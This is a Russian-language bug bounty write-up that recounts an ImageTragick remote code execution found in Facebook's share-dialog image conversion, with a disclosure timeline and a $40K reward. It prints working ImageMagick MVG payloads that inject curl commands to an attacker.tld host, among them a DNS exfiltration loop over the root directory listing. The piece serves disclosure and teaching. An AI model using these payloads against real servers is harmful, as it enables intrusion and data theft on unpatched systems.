Трагикартинки Фэйсбука

в 10:28, , рубрики: bugbounty, Facebook, imagemagick, imagetragick, information security, pentest, rce, remote code execution, reward, информационная безопасность, Разработка веб-сайтов

Всем привет! Да, это я 2 года 11 месяцев и 6 дней назад обещал рассказать про новые уязвимости. Но со временем стало понятно, что, либо они не интересные, либо рассказывать о них пришлось бы с помощью скриншотов больше похожих на рассекреченные документы спецслужб — пара бессмысленных слов и куча чёрных прямоугольников. Но — время пришло.

Я уверен, что все вы слышали про ImageMagick и его «Трагедию». Эта уязвимость была найдена в конце апреля 2016 года и в следствии того, что многие плагины, обрабатывающие изображения, использовали библиотеку ImageMagick, данная проблема охватывала большое количество систем. Так как были свидетельства о том, что информация о данной уязвимости была доступна не только исследователям, которые её обнаружили, и разработчикам ImageMagick'а, но и третьим лицам, 3 мая 2016 года информация о уязвимости (без PoC) была раскрыта для всего мира. Многие исследователи воспользовались данной информацией и нашли уязвимости в приложениях, которые не были обновлены вовремя. К сожалению, я не был среди этих счастливчиков. Но это было в мае:)

Однажды в субботу, за окном был питерский октябрь, я тестировал один большой сервис — не Facebook. Но один из редиректов привёл меня на него — это был диалог «Поделиться на Facebook»:

image

https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H

Этот диалог могли видеть многие из вас. Если мы приглядимся, можно увидеть, что параметр `picture` является ссылкой на изображение. Но такого изображения нету в содержании страницы. Например:

https://www.google.com/images/errors/robot.png

https://www.google.com/images/errors/robot.png

Превращается во что-то такое:

https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb

https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb

Первое, о чём я подумал, это об SSRF-уязвимости в том или ином виде. Но тесты показали, что урл из этого параметра запрашивается из подсетки 31.13.97.* с юзерагентом facebookexternalhit/1.1. Например:

$ nc -lvvv 8088
Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted
GET /exploit.png?ddfadsvdbv HTTP/1.1
User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Accept: */*
Accept-Encoding: deflate, gzip
Host: attacker.tld
Connection: keep-alive

И всё это похоже на нормальный запрос из изолированной подсетки, которая специально для этого предназначена.

Но в любом случае приложение производит преобразование изображений каким-то конвертером и я стал копать в этом направлении. После нескольких тестов (один из моих любимых, который принёс мне много денег — парсинг и преобразование SVG картинок, которые на самом деле XML файлы, чтобы получить SSRF с сервера, который производит конвертацию, и который далеко не всегда такой же, как север с которого было запрошено изображение или, если мне совсем повезло, получить XXE) я был весьма расстроен. Ни один из них не сработал.

ImageTragick был последней надеждой. Хотя у меня уже надежды не было. Если вы не очень знакомы с подробностями уязвимости и её эксплуатацией или ленивы — здесь вы можете найти готовые PoC.

Вот так выглядит самый простой пэйлоад exploit.png:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`'
pop graphic-context

Барабанная дробь… и ничего не произошло:

$ nc -lvvv 80

Facepalm и Okay.

— Но что если… если это всего лишь ограничения firewall'а? — спросил я сам себя.

Ок. Это действительно случается довольно часто, когда компания блокирует обычные http-запросы, но не блокирует запросы DNS. Что ж, попробуем другой пэйлоад:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`'
pop graphic-context

Надо иметь ввиду, что в данном случае атакующий использует DNS сервер, который пишет логи запросов к нему. И в результате получаем:

IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A

Whois IP говорит нам:

netname: LLA1-11
descr: Facebook

Вечеринка начинается :) Таким образом приложение работает следующим образом:

  • Получает параметр `picture` и запрашивает его — это корректный запрос и в нём уязвимостей нет
  • Полученная картинка передаётся конвертеру, который использовал уязвимую версию библиотеки ImageMagick

Буду честен, я пытался найти обычный путь эксплуатации этого http-запроса, но быстрые тесты показали, что, либо все исходящие порты закрыты, либо я бы потратил слишком много времени для того, чтобы найти хотя бы один открытый. И я пошёл другим путём, которого было достаточно для подтверждения эксплуатации.

Пэйлоад:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
pop graphic-context

Результат:

NAME: home.attacker.tld, Type: A
NAME: boot.attacker.tld, Type: 28
NAME: dev.attacker.tld, Type: 28
NAME: bin.attacker.tld, Type: A
…
…

И так далее…

Команда bash `id` возвратила:

NAME: uid=99(nobody).attacker.tld., Type: 28
NAME: groups=99(nobody).attacker.tld., Type: A
NAME: gid=99(nobody).attacker.tld., Type: A

Для подтверждения того, что эксплоит работает, я отправил команде безопасности Facebook вывод команды `cat /proc/version`, который не буду показывать здесь.

В соответствии с Политикой Ответственного Распространения Фэйсбука глубже я уже не копал.

Уже после того, как я отправил репорт, мы с Нилом из команды безопасности Facebook'а обсудили, что вывод `cat /proc/version | base64` мог бы быть гораздо более удобен для DNS запроса, а более глубокое исследование показало, что в техниках DNS туннелирования обычно используется base32 (подробнее здесь: https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152).

Я рад быть одним из тех, кто взломал Facebook.

Вот и всё:)

Timeline:
16 Oct 2016, 03:31 am: Первый репорт
18 Oct 2016, 05:35 pm: Нил из команды безопасности запросил PoC, который я использовал во время исследования
18 Oct 2016, 08:40 pm: Я послал PoC и сопроводил его дополнительной информацией
18 Oct 2016, 10:31 pm: Уязвимость подтверждена Нилом
19 Oct 2016, 12:26 am: Нил уведомил, что фикс в процессе выкладки
19 Oct 2016, 02:28 am: Нил сообщил, что уязвимость исправлена
19 Oct 2016, 07:49 am: Я подтвердил, что уязвимость исправлена и запросил процедуру раскрытия
22 Oct 2016, 03:34 am: Нил ответил о процедуре и времени раскрытия
28 Oct 2016, 03:04 pm: Назначено вознаграждение ($40K)
16 Dec 2016: Раскрытие разрешено.

Автор: 4lemon

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js